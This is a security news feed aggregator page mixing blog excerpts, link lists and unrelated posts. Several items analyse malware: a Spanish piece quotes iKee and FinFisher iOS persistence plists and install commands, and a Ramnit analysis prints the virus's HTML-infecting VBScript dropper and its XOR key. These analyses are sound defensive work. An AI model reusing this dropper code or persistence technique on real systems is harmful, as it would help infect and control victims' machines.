Feed aggregator

September 2012 Microsoft Super Tuesday

Would retaliatory attacks make hackers think twice?

A new report claims that a number of U.S.-based utilities are fending off cyberattacks on a daily basis.

Games, especially online games, are fertile ground for spreading viruses and malicious software. Here’s how it works and what can you do in order to protect yourself. You could say that I was a gamer for too many years and experienced most generations of PC games since I got my first Commodore64 in 1986. Just like many others, I became a collector of 5.25” floppy disks containing...

 

The Apache Darkleech attack has been in the news for quite some time now. The first compromise that we identified in our transactions dates back to mid-March. This Darkleech exploit (aka Linux.Cdorked)  injects malicious redirections into a website that leads to a Blackhole exploit kit (BEK) landing page. Sucuri published up a great write up about the Darkleech infection mechanism on the server Krishnan Subramanianhttp://www.blogger.com/profile/08505781875508446131noreply@blogger.com0http://research.zscaler.com/2013/05/darkleech-attack-continues-to-grow.html

Multiple attacks on U.S. companies and probably also on government systems. It seems China's hacker army resumed its attacks after 3 months of silence. The exact identity of targets hit by latest assault is not fully known, but it seems to be in many companies and government bodies that were also hit by the prior assault in February by a group called "Unit 61398" that was also attributed to...

 

Event Related

• NoSuchCon #1 Wrap-Up – blog.rootshell.be
  So, let’s welcome the newly born conference called “NoSuchCon“. The first edition was just organized in Paris across the last three days.

Resources

• Download: Mobile Threat Report Q1 2013 – f-secure.com
  All of our past reports are also available in the “Labs” section of f-secure.com.
• Big Iron Back Door: MainTP (Part Two) – mainframed767.tumblr.com
  The is the second part of a two part article about using FTP, JCL, OMVS and Netcat to get shell access on a mainframe.
• Vulnerability Assessment of SNMP Service II – resources.infosecinstitute.com
  This is our second article in a series on vulnerability assessment of SNMP Service. In the previous article, we learned how we could set up a SNMP Service on a Linux box (Ubuntu in our case).
• The Difference Between a Vulnerability Assessment and a Penetration Test – danielmiessler.com
  There are many views on what constitutes a Vulnerability Assessment versus a Penetration Test. The main distinction, however, seems to be that some believe a thorough Penetration Test involves identifying as many vulnerabilities as possible, while others feel that Penetration Tests are goal-oriented and are mostly unconcerned with what other vulnerabilities may exist.
• Index of /talks – nosuchcon.org
  Resources for Index of Talks

Tools

• Scanning PLC Devices – PLCScan – digitalbond.com
  PLCScan is a utility that was released by scadastrangelove to help identify PLC devices.
• Rapid Web Assessments with RAWR – novainfosec.com
  A few weeks ago I had an opportunity to chat with Adam “@al14s” Byers and Tom “@c0ncealed” Moore at AIDE about an interesting new assessment tool they created called RAWR or Rapid Assessment of Web Resources.
• CSRF Tool – homakov.blogspot.ru
  I facepalm when I hear about CSRF in popular websites. (I was searching for them in the past but then realized that’s a boring waste of time).

Techniques

• Firmware Hacking: The Samsung smart TV turn – marcoramilli.blogspot.com
  I am not going to explain every step in details but I just want to give an idea on how it’s possible to perform a reverse engineering process starting from a firmware self-installable.
• Patching Java executable the easy way – netspi.com
  The process of patching a Java executable (.jar files) without the original source code has been known for a while. As I know of, currently there are two ways of doing it.
• CMS Hacking, A Look Into The ECCouncil Hack – blog.imperva.com
  Yesterday, EC Council was reported to have been compromised by a hacker called “Godzilla”.

Vendor/Software Patches

• SSL: Another reason not to ignore IPv6 – isc.sans.edu
  Currently, many public web sites that allow access via IPv6 do so via proxies. This is seen as the “quick fix”, as it requires minimum changes to the site itself. As far as the web application is concerned, all incoming traffic is IPv4.

Other News

• Security expert details how he nabbed millions of dollars from a bank – slashgear.com
  Bank heists – they’re the subject of movies, books, and, in some cases, real-world news. While not every mission goes as planned, many have managed to gain ill-gotten wealth from lax security systems, prompting banks to step up their game and stay on top of ever-changing technologies.
• California Launches Cybersecurity Task Force – govtech.com
  On May 13, California government officials and private-sector leaders met behind closed doors to discuss a comprehensive cybersecurity plan for the state — it was the beginning of the California Cybersecurity Task Force, the first state-led collaboration of its kind.

A signed PDF file is just like all signed files with embedded signatures: the signature itself is excluded from the hash calculation. Open a signed PDF document in a hex editor and search for string /ByteRange. You’ll find something like this: 36 0 obj <</ByteRange[0 227012 248956 23362 ]            /Contents<308226e106092a864886f7 This indicates which byte sequences  are used for the hash calculation (position and length of each sequence). So in this example, byte sequence 227013-248955 is excluded, because it contains the signature in hex format padded with 0×00 bytes. This padding is not part of the DER signature, you can change it without changing or invalidating the signature. Quickpost info

Wireless network infrastructure - for anyone in business, it’s a necessary evil and, perhaps ironically, one that isn’t short on infrastructure. You need a controller and wireless routers or access points - lots of them – enabling wireless networks to join an existing wired network. You’ll have to invest in a site planner/survey tool, or risk incorrectly guessing where the APs should go. Users need to learn the new WLAN management system, integrate it into the server...

Of 200 enterprise security professionals recently surveyed by Enterprise Strategy Group, 79 percent report Web application security attacks in the past year. In a late April Network World blog on the topic, Jon Oltsik, a principal analyst at ESG, said the study also found thieves attacked Web application features and functions such as application authentication, configuration management, application authorization and session management. Oltsik says the good news is that there’s more em...

Our experiments in creating crucible steel with a composition similar to ancient Wootz steel are continuing. In this video, we show the process of making a Wootz ingot and our first successful forging of the ingot into a bar. Our crucibles are charged with wrought iron from wagon tires, pulverized charcoal, some O1 tool steel, calcium carbonate and glass. Watch the video for all the details.

En el pasado artículo estuvimos revisando los puntos débiles que tiene un malware a la hora de sobrevivir un reinicio del sistema, y nos centramos en OSX. Ahora toca el turno a iOS, que al ser una especie de spin-off de OSX, vamos a ver que existen muchas similitudes. De hecho, en el caso de iOS, no existen tantos puntos donde una aplicación va a poder registrarse para sobrevivir a un reinicio. Al ser un sistema tan cerrado, y mucho más simple que un sistema clásico de escritorio, estos puntos de arranque son mucho menos. El sitio por excelencia para registrarse una aplicación que quiera ser arrancada en el reinicio es /System/Library/LaunchDaemons, y su funcionamiento es exactamente igual que en la de su hermano OSX. Basta con dejar un archivo con un formato específico (fichero .plist) en ese directorio, que será interpretado por launchd en el arranque y ejecutará lo que esté configurado. Aunque es importante reseñar que no es posible acceder a incluir ningún fichero en ese directorio sino es a través de algún exploit/jailbreak. También existen el directorio /Library/LaunchAgents y /Library/LaunchDaemons, pero no son utilizados por el sistema. Tan sólo después de hacer un jailbreak, sí que se utiliza el segundo, y algunas aplicaciones de Cydia registran ahí sus ficheros .plist (como OpenSSH). Por ejemplo, en el primer malware que apareció para iOS (sólo para dispositivos con jailbreak), llamado iKee (con todas sus variantes iKee.A, iKee.B y iKee.C), utilizaba este sistema para sobrevivir al reinicio, instalando tres archivos en este directorio. Si nos fijamos en el código de iKee, veamos cómo instalaba uno de estos ficheros: rm -rf /System/Library/LaunchDaemons/com.apple.ksyslog.plist
#cp com.apple.ksyslog.plist /private/var/mobile/home/
cp com.apple.ksyslog.plist /System/Library/LaunchDaemons/com.apple.ksyslog.plist
#/bin/launchctl load -w /System/Library/LaunchDaemons/com.apple.ksyslog.plist También en el caso del 'troyano' creado por FinFisher para la monitorización de dispositivos iOS, se utiliza un archivo .plist en el directorio /System/Library/LaunchDaemons llamado com.apple.logind.plist, con el objetivo de sobrevivir un reinicio (y ejecutar el binario logind): <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Disabled</key> <false/> <key>Label</key> <string>home.logind</string> <key>OnDemand</key> <false/> <key>ProgramArgumments</key> <array> <string>/System/Library/CoreServices/logind.app/logind</string> <string></string> <string></string> </array> <key>StandardErrorPath</key> <string>/dev/null</string> </dict> </plist> En teoría, no existe ningún otra forma de registrarse en el sistema para ser ejecutado en un arranque. Aunque no es del todo cierto, puesto que Apple sí que permite ejecutar aplicaciones que no sean del sistema en el arranque, sin tener que utilizar ningún exploit o jailbreak: utilizando el parámetro UIBackgroundModes (a partir de 4.0) en el fichero Info.plist de la app. Según la documentación de Apple, UIBackgroundModes se utiliza para especificar si una app necesita ejecutarse de forma continua en el background, pero Apple sólo permite ciertos tipos de aplicaciones utilizar este parámetro:

• Audio (audio): para que suenen las canciones
• Posición (location): si se necesita tener un control fino de la posición (por ejemplo en aplicaciones de deportes)
• VoIP (voip): siempre conectado para recibir llamadas
• Revistas (newsstand-content): descargar contenidos de forma inmediata
• Accesorios externos (external-accesory): estar conectado continuamente
• Bluetooth (bluetooth-central y bluetooth-peripheral): estar conectado continuamente

Para posibles fines que pueda tener un malware, la que más interesa es la opción de VoIP, puesto que permite controlar las comunicaciones en background, y además será arrancada en el reinicio del dispositivo por parte del sistema. <key>UIBackgroundModes</key> <array> <string>voip</string> </array> Para demostrarlo, el desarrollador Timothy L. Ekl ha desarrollado una pequeña app que utiliza la clave UIBackgroundModes con el valor 'voip', y efectivamente, la aplicación se ejecuta en el reinicio del sistema de forma automática. Según parece, en el proceso de revisión de Apple a la hora de incorporar una nueva app en la AppStore, si una app tiene el parámetro UIBackgroundModes puesto a 'voip', se comprueba que realmente es una aplicación de VoIP, y si no, se rechaza. En nuestro caso de un malware, nos da relativamente igual puesto que en principio ese malware habrá infectado el sistema con otros medios que no sea a través de la AppStore, con lo que podría usar este parámetro sin problemas para sobrevivir al reinicio. A día de hoy no se ha visto ningún malware que utilice esta técnica, pero puede que en el futuro podamos ver alguno. El último superviviente (I) - OSX
El último superviviente (II) - iOS

Siguiendo con la estela del artículo publicado 'Españoles por la Phrack', vuelvo a la carga con un artículo parecido, pero en este caso sobre una de las conferencias de seguridad que más conoce la gente: BlackHat. Si os dedicáis a la seguridad informática, alguna vez tenéis que ir a Las Vegas durante el mes de agosto para conocer de primera mano que suceden en estas conferencias, puesto que es casi una peregrinación obligada. Las conferencias BlackHat fueron fundadas en 1997 por Jeff Moss (The Dark Tangent) y aunque al principio eran las conferencias donde todos los investigadores nos guardábamos nuestros descubrimientos para enseñarlos allí, poco a poco se ha ido perdiendo ese espíritu por diversas razones; ahora mismo existen innumerables conferencias de seguridad en casi todos los países, muchas conferencias se han vuelto más comerciales, etc. También influyó cuando en 2005 Jeff Moss vendió las conferencias a la empresa CMP Media, por alrededor de $13.9 millones. Aún así, todavía hoy en día son las más conocidas, y su versión de Las Vegas es posiblemente una de las conferencias de seguridad con más asistentes del mundo. Aunque nos ha costado un poco, también los españoles poco a poco nos hemos ido quitando el miedo y ya es normal ver a algún español dando alguna presentación en cualquiera de las BlackHat que se celebran por el mundo. Hagamos un repaso de las apariciones de españoles en alguna BlackHat:

• BlackHat 2005.
  • David Barroso (un servidor) y Alfredo Andrés con la presentación 'Yersinia, a framework for layer 2 attacks'
• BlackHat 2007.
  • Lluis Mora con la presentación 'SMTP Information Gathering'
  • Ero Carrera con la presentación 'Reverse Engineering Automation with Python'
• BlackHat 2008.
  • Chema Alonso y José Parada con la presentación 'LDAP Injection & Blind LDAP Injection'.
• BlackHat 2009.
  • Chema Alonso y Enrique Rando con la presentación 'Tactical Fingerprinting Using Metadata, Hidden Info and Lost Data'
• BlackHat 2010.
  • Ero Carrera y Peter Silberman con la presentación 'State of malware: family ties'
  • Chema Alonso y José Palazon con la presentación 'Connection String Parameter Pollution Attacks'
  • Leonardo Nve con la presentación 'Playing in a satellite environment 1.2'
• BlackHat 2011.
  • Raúl Siles con la presentación 'SAP: Session (Fixation) Attacks and Protections (in Web Applications)'
  • David Pérez y José Pico con la presentación 'A practical attack against GPRS/EDGE/UMTS/HSPA mobile data communications'
• BlackHat 2012.
  • Simon Roses con la presentación 'Smartphone's Apps Are Not That Smart: Insecure Development Practices'
  • Alberto García Illera con la presentación 'Enterprise malware, there is always a way. DNS/DNSSEC'
  • Chema Alonso con la presentación 'Owning bady guys (and mafia) with javascript botnets'
  • Rubén Santamarta con la presentación 'Here be backdoors: a journey into the secrets of industrial firmware'
  • Fermín J. Serna con la presentación 'The info leak era on software exploitation'
• BlackHat 2013.
  • Simon Roses y Curro Márquez con la presentación 'Dude, where's my laptop'

Como bien ha indicado Juan Garrido en los comentarios, también desde el año 2010 dentro de la BlackHat existe una sección para mostrar herramientas novedosas, que se llama BlackHat Arsenal. También a ella han acudido varios españoles para enseñar sus herramientas:

• BlackHat 2010.
  • Chema Alonso con la herramienta 'FOCA 2'
• BlackHat 2011.
  • Chema Alonso con la herramienta 'DUST - your RSS feed belongs to you'
• BlackHat 2012.
  • Luis Delgado con la herramienta 'XMPPPloit'
  • José Miguel Esparza con la herramienta 'PeePDF'
• BlackHat 2013.
  • Manuel Fernández con la herramienta 'HookMe'

Buenas, Ejecutar trabajo con los clientes me hace siempre replantearme las cosas, esepcialmente dado que soy de los que cree firmemente que la mejor manera de mejorar es aprender remangándonse en el terreno y usar ese conocimiento en trabajos venideros. Y en estos escenarios, cuanto más complejo, mejor. Si existe un campo hoy en día dentro de la seguridad donde las cosas están poco claras y donde muchos caminan cual veletas, ese es el mundo de la ciberseguridad. Aunque no soy muy amante del sufijo ciber -independientemente de que esté aceptado por la RAE o no- creo que a muchos les puede servir para centrar la conversación. Yo prefiero hablar de operaciones de seguridad, o lo que viene a ser lo mismo, la traslación del mundo de operaciones en el ámbito de TI o los negocios a las actividades necesarias para mantener la seguridad de un entorno determinado. Un poco más abajo explicaremos de qué va esto, y por qué esto no es una colección adicional de buzz words de las muchas que tragamos día a día. Cualquiera que lea noticias, siga blogs o comparta en Twitter información sobre operaciones de seguridad habrá notado que desde el año pasado este es un campo en ebullición. También por desgracia, salvo las excepciones del malware para ciber espionaje o ciber ataques, léase Stuxnet, Duqu o The Flame, casi todo el debate se centra en cuestiones triviales que de poco o nada sirven a las empresas que quieren afrontar con mejores garantías la problemática de la ciberseguridad. Y digo con mejores garantías porque en este mundo en el que vivimos, y como todos ya sabemos, protegerse al 100% es imposible. En casa podemos lograr cómodamente un buen estado de seguridad, ya que podemos parchear cuando nos da la gana, no tenemos que mantener aplicaciones y sistemas que están fuera de soporte, no tenemos que someternos a una disciplina de gestión de cambios, ventanas de cambios en producción, ciclos de pruebas eternos, técnica de sistemas, no tenemos cientos de IPs expuestas al tráfico de Internet y sitios Web públicos, no tenemos que lidiar con 200 vendedores distintos y otras 200 maneras de hacer las cosas, no tenemos que integrar negocios que hemos comprado, no tenemos que segregar negocios que hemos vendido, no tenemos que formar equipos virtuales con gente que habla en 10 idiomas distintos, con 10 maneras y culturas de trabajo distintas, no hay necesidad de escribir casos de negocio para resolver problemas, no hay que lidiar con la aprobación de partidas presupuestarias, no hay que mantener 100.000 estaciones diseminadas en 40 países ... podríamos estar horas enumerando aspectos que hacen que la seguridad en casa sea una cosa, y que la seguridad corporativa sea otra bien distinta. En resumen: no dependemos de nosotros mismos. Precisamente el eterno y erróneo intento de intentar solucionar en la empresa las cosas como las solucionamos en casa es una de las causas principales de que los problemas para corporaciones sean importantes, crecientes y cada vez más difíciles de resolver. Cuando hablo con mis clientes les traslado la idea de un cambio de mentalidad que a muchos les impresiona en un principio y que resulta difícil de digerir: yo lo llamo el estado permanente de compromiso. Seamos honestos: por mucho test de intrusión que hagas, por mucho antivirus que corras y por mucho IDS que tengas desplegado, los amigos de lo ajeno van a encontrar siempre la manera de entrar. Son demasiadas las variables que tenemos que controlar para pretender que podemos controlarlas todas. Es imposible y hay que partir de esa base para construir mejor seguridad. Añadamos a esto el hecho que los vectores de ataque, que eran puramente técnicos en el pasado en su amplia mayoría, están ahora centrados en las personas, lógicamente con el apoyo en la explotación de tecnología. Por eso hace 5 años era aceptable tener una granja de IDS/IPS, y confiar la seguridad a San Firewall, San Microsoft Update y San Test de Intrusión, y hoy en día confiar la seguridad sólo en esos sistemas es una pérdida de tiempo. Agreguemos al cóctel la pérdida del perímetro, que ya no existe como tal, la integración de business partners en las redes corporativas y la explosión de ofrecimiento de servicios que tradicionalmente eran de back-end en frontales web para la interacción con usuarios, que demamdamos más y más servicios en nuestros dispositivos. Quizás la consecuencia más dramática del estado permanente de compromiso es la asunción, por dolorosa que sea, de que la prevención no es suficiente. Aunque sigue siendo buena idea prevenir, la prevención siempre termina fallando, y es entonces cuando es preciso tener medidas reactivas en plaza para intentar reducir el impacto de un evento de violación de la seguridad. Pero tampoco vale sólo con correr una consola SIEM escupiendo alertas, porque nuevamente, los mecanismos preventivos van a fallar, y cuando lo hagan, vas a tener un problema. No hay soluciones fáciles a estos problemas. Los nuevos escenarios requieren nuevas maneras de hacer las cosas. Tener definido un mapa de amenazas es la parte básica, hay que identificar de manera cristalina qué queremos proteger, cómo y de qué. Este paso tan sencillo es ciencia ficción para muchos, y lógicamente, sin esta base es imposible intentar organizarse para afrontar las amenazas reales que puedan estar acechando a la vuelta de la esquina. Pero aquí no acaba todo. A todos se nos llena la boca con ArcSight, enVision o Q1, y muchos son los que corren estos SIEMs, pero, ¿cuántos tienen realmente un sistema adaptado a los tiempos modernos? ¿Cuántos SIEMs ha ahí fuera corriendo todavía los clásicos casos de usuario inútiles, como intentos de fuerza bruta, o logins en horario fuera de oficina? Si queremos tener garantías de mínimo impacto, quizás convenga tener a mano fuentes creíbles de información de amenazas. Esto es lo que veréis anunciado como threat intelligence, y viene a ser información, generalmente generada por terceros, que emplearemos para detectar lo más cerano al tiempo real amenazas de seguridad que se van descrubriendo y sobre las que normalmente no tenemos visibilidad. Y sí, aquí si juega un papel importante un SIEM potente para articularlo todo: información de seguridad que emana de nuestros sistemas, integración con fuentes de inteligencia externas, plataformas de análisis automatizado de malware, y todo ello conjugado con casos de usuario específicos para nuestras pretensiones: recordad lo que hemos escrito sobre escenarios más arriba. Pero una vez más, esto no se resuelve con un SIEM únicamente, la correlación es vital en escenarios compejos de ataque, con lo que resulta también crucial establecer cómo hacer dicha correlación con datos cercanos al tiempo real y con datos no tan cercanos. Y para terminar de complicar las cosas, y nuevamente me remito al estado permanente de compromiso, aún con todas estas cosas los malos van a encontrar la manera de entrar. Hay que saber reaccionar, lo que implica tener procedimientos de respuesta ante incidentes sólidos, entrenarse con escenarios red flag, tener habilitada una disciplina forense para el análisis de brechas de seguridad, instruir a los usuarios en temas de concienciación ... y todo esto hay que coordinarlo de una manera centralizada, suficientementre flexible y orientada a los resultados. Es lo que conocemos como un centro de operaciones de seguridad, o SOC, que para más inri, no vale con articular de una manera técnica, ya que es preciso, como en cualquier otra área del negocio, gestionar con aspectos económicos y administrativos, lo que implica métricas, programas de mejora, evaluación de la respuesta de los operadores, del escalado y gestión de los incidentes, KPIs que se hayan establecido .... y ese larguísimo etcétera. Como resulta fácil comprobar, dar el salto cualitativo de una manera de gestionar las operaciones de seguridad centrada en la tecnología hacia una manera eficiente y centralizada de gestionar un centro de operaciones de seguridad donde atendamos la problemática de las personas y los procesos además de la tecnología no es nada sencillo. Es harto complicado, para ser más concretos. El nivel de inversión y de cambios es tan brutal que muchos, directamente, miran hacia otro lado. Prefieren seguir confiando en test de intrusión, actualización de antivirus y parches en sus exploradores. Y rezando por las noches para que al día siguiente no sean ellos los que salten a los titulares. Un lujo que podrías permitirte en casa, pero que te acabará hundiendo en el mundo de los negocios. Es hora de cambiar el chip. Tú decides. BONUS 10 consejos prácticos para implementar un SIEM/SOC Os dejo una lista de cosas que veo en el terreno y que pueden daros una idea de cómo no afrontar la problemática de la ciberseguridad. El orden no implica importancia: todas estas cosas son vitales.

1. Este es un tema que requiere cambiar a las personas, tecnología y procesos. No dejes estas tareas en manos de personas que sólo son hábiles con el nmap y el Nessus, o sólo con el Powerpoint.
2. Desconfía de implantadores que no tengan credenciales. Pídelas. Y verifícalas. Montar un SIEM/SOC es algo que no está al alcance de cuaquiera que clame ser consultor de seguridad. Requiere experiencia en el terreno, y preferiblemente, en el mismo vertical donde tú vas a implementar. Esto no es un proyecto de una semana y media.
3. Haz tus inversiones de manera escalonada. No quieras hacerlo todo en 6 meses, o te atragantarás. Y lo que es peor: el CFO se atragantará también. Construye un pla creíble que ofrezca resultados escalonados, que te ayudarán a vender mejor lo que haces en la organización, lo que al final te posibilitará accesoa presupuesto de manera incremental.
4. Mide tus posibilidades. Si esto se te escapa de las manos, acude a gente externa para que te ayude. Lo mismo aplica a la operación, si no tienes gente en casa que pueda hacerlo, ya que construir un 24x7 requiere sudor y euros, contrátalo fuera. Sin dudarlo.
5. Si escoges primero la tecnología y tratas después de que todo gire alrededor de ella, acabarás estampándote contra la pared. Hazlo al revés: primero entiende tu negocio y luego selecciona la tecnología que te ayude a protegerlo. Suena elemental pero es la primera causa de fallo en estas integraciones.
6. Cuando hables con tu CFO, déjale claro que esto es un tema que requiere no sólo CAPEX, sino también OPEX. Que nadie se lleve a engaños, un SIEM/SOC además de inversión inicial requiere financiación continua.
7. Presta mucha atención a los casos declarados en el SIEM. Cuando no estén documentados desde la A a la Z, para cubrir cada uno de los riesgos principales del negocio, alerta roja. Cada operador del SOC tiene que tener muy claro qué hacer en cada uno de los casos y sus etapas, revisa con tu integrador otras implantaciones similares antes de contratar, y no te cortes un pelo a la hora de pedir estas cosas como prueba de que se ha implantado algo creíble y no un spaghetti inútil de alertas.
8. Invierte en ajustar y en probar. No esperes, ni de lejos, que estas integraciones sean 100% exitosas cuando concluya el despliegue. Nada más lejos de la realidad.
9. Cuando selecciones tecnología, presta mucha atención a la integrabilidad de las plataformas que quieras someter a disciplina del SIEM/SOC. Es normal tener en casa muchas tecnologías distintas que no hablan entre sí, salvo que tengas un middleware decente, así que pídele a tu integrador que te explique con pelos y señales cómo piensa conectarlo todo. Y que te explique qué viene out of the box, y qué hay que desarrollar. Costes ocultos a la vista ...
10. Por último, entrena los casos de reacción ante indicadores de compromiso hasta la saciedad. Son lo que marcan la diferencia a la hora de lidiar con lo verdaderamente complicado, aka lo que puede hundirte.

Saludos,

Os voy a contar un truco muy sencillo -pero muy útil- para quitar la voz a vuestras canciones favoritas con Audacity, y de esta forma poder hacer el ridículo en karaokes improvisados, malograr con vuestra voz versiones apócrifas de canciones o iniciaros en el mundo de los mashups Lo primero que necesitamos es una canción en WAV o cualquier formato que entienda el Audacity (MP3 puede valer). Yo he elegido “Hotel California” de “The Eagles”, por ejemplo. Una vez abierta con el Audacity, veremos que es una canción stereo, con dos canales: Si usamos el zoom, podremos ver la forma de la onda en cada uno de ellos y cómo son ligeramente diferentes: Nos basaremos en el siguiente principio para eliminar la voz: si sumas una onda y su versión invertida, la anulas. Dado que la voz es mono (suele haber un solo cantante con una sola boca) normalmente, estará copiada igual en los dos canales, así que al invertir uno y sumarlo con el otro, se anulará. ¿Cómo hacemos esto? Muy fácil, separamos la pista stereo en dos canales mono: Seleccionamos solamente una de las pistas: Y aplicamos el efecto de inversión: Finalmente volvemos a juntar los canales en una pista estéreo: Y exportamos el resultado a un MP3. Si lo hemos hecho bien, tendremos una versión de “Hotel California” en la que no se escuchará la voz y podremos arruinarla con nuestros alaridos. Realmente este método no es perfecto y si nos fijamos bien, todavía quedará algún resto de la voz en nuestro MP3. Esto es debido a los filtros y efectos de post-producción que se emplean para mejorar las canciones, que no afectan por igual a los dos canales y por tanto dejan trazas que no se anulan al sumar una onda con su inversa. En algunas canciones estos efectos son tan extremos que la voz permanece totalmente audible después de emplear este método ;-( Una vez eliminada la voz, podemos pensar en cómo se haría para quedarnos solamente con la voz y juntar la voz a la música sin voz de otra canción para inventar nuevas y estrambóticas versiones de música comercial. ¿Se os ocurre cómo podría hacerse?

The slides and videos from the 2011 Honeynet Project Security Workshop (Paris) are now available! You can get the material from http://www.honeynet.org/SecurityWorkshops/2011_Paris.

About the workshop:The workshop brought together experts in the field of information security from around the world to share the latest advances in security research. Our members covered topics such as new honeyclients, mobile malware, new reversing techniques, VOIP attacks and even social behavior of attackers. And besides the presentation, Felix Leder and Mark Schloesser from our Giraffe chapter and Guillaume Arcas from our French chapter put up some hands on exercises that allowed participants to test their skillz.

This year Dino Dai Zovi and I are teaching our Assured Exploitation class again at the CanSecWest conference. This is a two day training on March 7-8, focusing on on the advanced exploitation techniques required for developing state of the art exploits for the latest Windows 7 systems. Why do we feel that this course is necessary? Many security professionals have mastered stack overflows and heap spraying, but these techniques are no longer sufficient for developing exploits in 2011. Reliable exploitation on Vista and Windows 7 requires advanced techniques such as heap layout manipulation, return oriented programming and ASLR information leaks. In addition, robust exploitation necessitates repairing the heap and continuing execution without crashing the process. The goal of our Assured Exploitation course is to teach the principles behind these advanced techniques and give the students hands-on experience developing real-world exploits. Here is a list of the topics that we indend to cover in the 2011 edition of the class: in-depth review of GS, ASLR, DEP, SafeSEH and SEHOP exploitation mitigations heap implementation details and manipulation of the heap state (including Windows 7) building primitives for heap layout control in new applications bypassing DEP and ASLR return oriented programming and shellcode development implementing a universal bypass of DEP and ASLR in Internet Explorer 8 multistage stack pivots The training will be based on a series of hands-on exercises that will incrementally guide the students through building their own exploits for the recent Aurora vulnerability, with capabilities far exceeding those of the publicly available samples. At the end of the course, the students will have the skills to reliably exploit Internet Explorer 8 on Windows 7 with both ASLR and DEP enabled. To register for the course, please visit the CanSecWest website. We encourage you to register early because the class size is limited and prices are going up next month.

Today we’re going to take a look at an interesting file-infector virus. W32/Ramnit infects EXE, DLL and HTML files. That last one is right; W32/Ramnit also infects HTML files to replicate itself. Let’s start with the components of this thread. W32/Ramnit has basically three components. The infector, the infected code in EXE/DLL files, and the infected code in HTML files. The most simple of the three is the HTML infection code. This is just a piece of Visual Basic Script code added to the end of any HTML file that the virus can find at the target machine. By looking at the code, we can see it’s very simple indeed: </html> <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300000004000 … 0000000000000" Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT> In the preceding we can see the code assigning the name svchost.exe to a variable, and then assigning a big chunk of data to variable WriteData. If you take a close look at that data, you will notice that is starts with 4D 5A. This is usually the magic number for PE files; i.e., this is the signature of a Windows executable file. So this variable contains a hex representation of a PE file. After that, the code tries to create a filename by joining the name of the file in the variable DropFileName with the result of VBS GetSpecialFolder(2) function. This function returns the %TEMP% path in Windows. Afterward, it tries to write the hex data to this file, but by transforming the hex representation to real hex bytes. This creates a binary file with the content of the variable WriteData. Later, the script tries to execute the newly created file with WSHshell.Run DropPath, 0. The file itself is a copy of the infector component of W32/Ramnit, which we’ll take a look later. But first, let’s see what code is added to PE/DLL files first. Any file infected by W32/Ramnit, either an EXE or a DLL file, will have some common characteristics. The infection works by adding an extra section at the end of the file, and this section is usually named .ramnit. The code entry point is changed to point to the start of this section, where the virus code is located. This code is just a dropper. It contain am embedded executable that is dropped in the system, and executed at the end. Looking at the code, we can see it’s very simple: As we can see, the virus uses an interesting method to get its starting address. Right after saving the flags, it calls 0×48b006, which is the next instruction; this will put the address of next instruction at the top of stack as the return address for this call. It then saves this value in EAX. The virus then takes the value in EAX, which is the address 0×0048b006, and subtracts an offset to the beginning of the code. Because there are 6 bytes to the instruction PUSHAD, this is the value subtracted from EAX. This register now points to the beginning of the infection code. The virus will use this information later to find the original entry point (OEP). This value is saved in a variable. Next, the virus looks for the import table of the original file, and tries to find the address for LoadLibraryA() and GetProcAddress(). These offsets are all precalculated by the infector at the moment of infection. When the virus has the addresses for these functions, it starts to load the other imports it will need: After loading all necessary functions, the virus checks if another copy is not running before continuing: The Mutex name and the other variables mentioned above are all located at the end of the virus code. Having all the information it needs now, the virus proceed to decrypt the embedded file that will be dropped. The encryption is a simple XOR base with a 0×14-bytes key. The key is stored in reverse order, so the code below will use it from last to first byte. The key itself in reversed order is: 8A 27 0E 94 C1 12 F8 F3 E7 8B C5 ED 35 18 26 9C 52 3A B8. Here is the decryption code: After a few executions of the loop, one can see the typical PE header showing up on the memory dump. Having decrypted the whole file, the virus code tries to create a new name for the dropped file. This name will be created based on the infected file name plus the string “Srv.” For example, if the infected file is named sample.exe, the dropped file name will be sampleSrv.exe: After writing the decrypted content to this new file, the virus code tries to execute it by calling CreateProcessA(). With all this done, the only thing missing is for the virus code to return to the OEP and pass control back to the original executable. This is done by calculating the offset from the beginning of virus code to the OEP: As we can see, the offset is stored in a local variable, and is calculated at infection time. This is always relative to the beginning of the virus code, although in some cases the original file is corrupted by the virus code. In the next post, we’ll take a look at how the infection occurs by analyzing the infector component of W32/Ramnit. We already detect this thread as W32/Ramnit.a, W32/Ramnit.a!htm, and W32/Ramnit.a.dr.